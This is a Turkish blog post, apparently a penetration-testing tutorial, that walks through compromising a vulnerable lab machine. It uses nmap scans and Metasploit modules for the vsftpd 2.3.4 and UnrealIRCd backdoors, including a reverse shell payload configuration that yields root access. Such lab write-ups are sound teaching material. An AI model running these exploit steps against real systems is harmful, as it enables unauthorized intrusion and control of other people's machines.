Zafiyetli Makine Çözümü
Berkay-Şen
Posted on December 7, 2021
Zaafiyetli makine çözümümüze başlamadan önce birkaç kavramı teorik olarak bilmemiz gerekiyor.Örnek olarak Exploit,payload gibi kavramlara hakim olalım ki sızma testi işleminin mantığını kavrayabilelim.
Exploit Nedir?
Exploit bilgisayar, yazılım, programlarda veyahutta
bir sistemde, sistem açıklarından ya da programcının kod
hatalarını kullanarak sisteme sızmaya veya sistemde istenmeyen hatalar oluşturmak için geliştirilmiş yazılımlar ve programlardır diyebiliriz.
Exploitler Neler Yapabilir
Exploitler yetkimizin bulunmadığı bir sisteme izinsiz giriş yapmabilme,verileri çalabilme,verileri görüntüleme,bu verileri değiştirebilme, sistem üzerinde yetkili kullanıcılar oluşturabilme ,sistemin işleyişini yavaşlatabilme,işleyişi aksatabilme veyahutta devre dışı bırakabilme gibi özellikleri gerçekleştirebilirler.
Zero-Day Exploit Nedir?
Zero-Day exploitler henüz daha açığı kapatılmamış,(yama yapılmamış)
exploitlerdir.Hackerlar geliştirdikleri exploitlerin yayılmasını istemezler. Çünkü yayılırsa bu açık kapanacaktır.
Exploit Veritabanları
https://www.rapid7.com
https://www.exploit-db.com
Bu ve bunun gibi sitelerin içerisinde bir çok exploit bulunmaktadır. Rapid7 Metasploit aracının içerisinde bulunan exploitlerin bulunduğu sitedir.Aynı exploitleri Metasploit aracında da bulabiliriz
Payload Nedir ?
Hedef sisteme exploit doğru bir şekilde uygulandıktan sonra hedefe yollanıp çalıştırılaması istenen yazılıma/modüle verilen addır. Bu modül sayesinde karşı tarafla bağlantımız sağlamış olup karşı tarafa göndereceğimiz gereken komutları bizden bekler/dinler ve modül sayesinde açmış olduğumuz servise gönderir ve bu komutların karşı tarafta çalışmasını sağlar.
Bind Payload Nedir?
Bind payload türünde hedefin açık portundan içeriye sızılıp,bizim hedefe bağlanmamızı sağlayan payloadlardır. Biz karşı sisteme bağlandığımız için olası antivirüsler ve firewall’lar yakalayabilir.
Reverse Payload Nedir?
Reverse payload türünde ise karşı hedef bizim cihazımıza bağlanarak sızma işlemi gerçekleştirilir. Karşı hedef bize bağlandığı için firewall ve antivürüslere yakalanma olasığı düşüktür.
Sızma İşlemine Giriş
İlk başta nmap aracı ile ağımızdaki cihazları tarayıp listeleyerek sızacağımız cihazın IP adresini bulalım.
nmap 10.0.2.0/24 –T5
-T5 parametresi ile taramanın hızlı olmasını sağlıyoruz.
Şimdi bu IP üzerinden hedef sistemdeki portlarda çalışan servislerin versiyonları hakkında bilgi alalım.
nmap –sV 10.0.2.4
-sV parametresi servislerin versiyonlarını getirir.
Metasploit Nedir ? ( msfconsole )
Metasploit Framework, hem ofansif hem de defansif güvenlikte kullanılan açık kaynaklı ve Ruby dili ile yazılmış bir platformdur. Metasploit Framework, sistemlerde bulunan açıkların tespit edilmesi, sömürülmesi ve sistemlere sızılması için gerekli araçları içinde barındıran bir yapıdır.
Metasploit Framework’ü Kali Linux içerisinde hazır olarak gelmektedir.Çalıştırmak için ise msfconsole
Komutu kullanılmalıdır.
Metasploit üzerinde bir servisin exploitin bulunup bulunmadığını anlamak için search
komutunu kullanırız.
search vsftpd
Komutunu kullanarak vsftpd servisinde bir exploitin bulunup bulunmadığını aradık ver karşımıza bir adet exploit çıktı.Bu exploiti kullanmak için bulduğumuz exploitin Name kısmını kullanarak exploiti seçiyoruz.
use exploit/unix/ftp/vsftpd_234_backdoor
Exploitimizi seçtik,şimdi de bu exploite uygun payloadları listelememiz gerekiyor bunun için şu komutu kullanıyoruz.
show payloads
Payloadlar listelendi.Aralarından birini seçmek için ise;
set payload payload/cmd/unix/interact
Exploitimizi de payloadımızı da seçtik. Şimdi bu exploitin hangi sisteme IP'ye sızacağını belirtmemiz gerek. Aksi takdirde exploit hangi sisteme sızma işlemi yapacağını normal olarak bilemeyecektir. Ayarları göstermek için ise;
show options
komutunu kullanırız.
Buradaki ayarların ne olduğunu açıklayacak olursak,
RHOST Hedef cihazın IP’si olmalı,
RPORT ise hedef cihazda hangi porttan sızma işlemi yapacaksak o portun numarası olmalı.
Bu ayarları değiştirmek için;
set RHOST 10.0.2.4
set RPORT 21
Sızma işlemini başlatmak için ise
run
ya da
exploit
Komutlarını kullanırız.
Görüldüğü gibi bir shell bağlantısının açıldığı yazıyor ekranda. Şuan karşı sisteme başarılı bir şekilde sızdığımızı söyleyebilirim. Şuan karşı sistemde bazı komutları kullanmayı deneyebilirsiniz. Örnek olarak ls
, whoami
vb.
Hedef sistemde hangi kullanıcı ile giriş yaptığımızı görmek için
whoami
kullanalım.
Gördüğünüz gibi root kullanıcıyız.Ancak her zaman bu kadar şanslı olamayabiliriz. Yetkisi düşük bir kullanıcı ile giriş yapmış olabilirdir.O zaman da yetkimizi yükseltmek için farklı yöntemlere başvuracaktık.
Şimdi ise başka bir sızma testini reverse payload ile yapalım.
Bu sefer 6667. portta çalışan servisten sisteme sızacağız.
Msfconsole üzerinden bu servisi aratalım.
Search UnrealIRCd
Gördüğünüz gibi yine bu servis ile ilgili bir exploit bulundu. Hemen kullanımına geçelim.
Bulduğumuz exploiti seçelim.
use exploit/unix/irc/unreal_ircd_3281_backdoor
Exploiti use komutu ile seçtikten sonra payloadlara göz atalım.
show payloads
Payladımızı set komutu ile seçelim
set payload payload/cmd/unix/reverse
Her payload çalışmayabilir,çalışmayan payload olursa başka bir payload denemeliyiz.Eğer sisteme sızamazsak bu exploit çalışmadığı anlamına gelmez.Payload'ımızda sorun olabilir,farklı payloadlar denersek sorunu çözebiliriz.
Gerekli ayarlamaları yapalım.
show options
Bu sefer RHOST ve RPORT dışında da farklı ayarlar gördük. Bunlar LHOST ve LPORT .Peki bu LHOST ve LPORT nedir. Başta anlattığımız reverse payload'ın ayarlarıdır. Reverse payloadın çalışma mantığı sızacağımız sistem bize bağlanıyordu. Bu yüzden
LHOST bizim IP adresimiz
LPORT karşı bağlantının bizimle iletişime geçecek olan port numarası.
Ayarları yaptıktan sonra exploiti çalıştırabiliriz.
Ve gördüğünüz gibi tekrardan karşı sisteme sızmış bulunmaktayız...
Posted on December 7, 2021
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.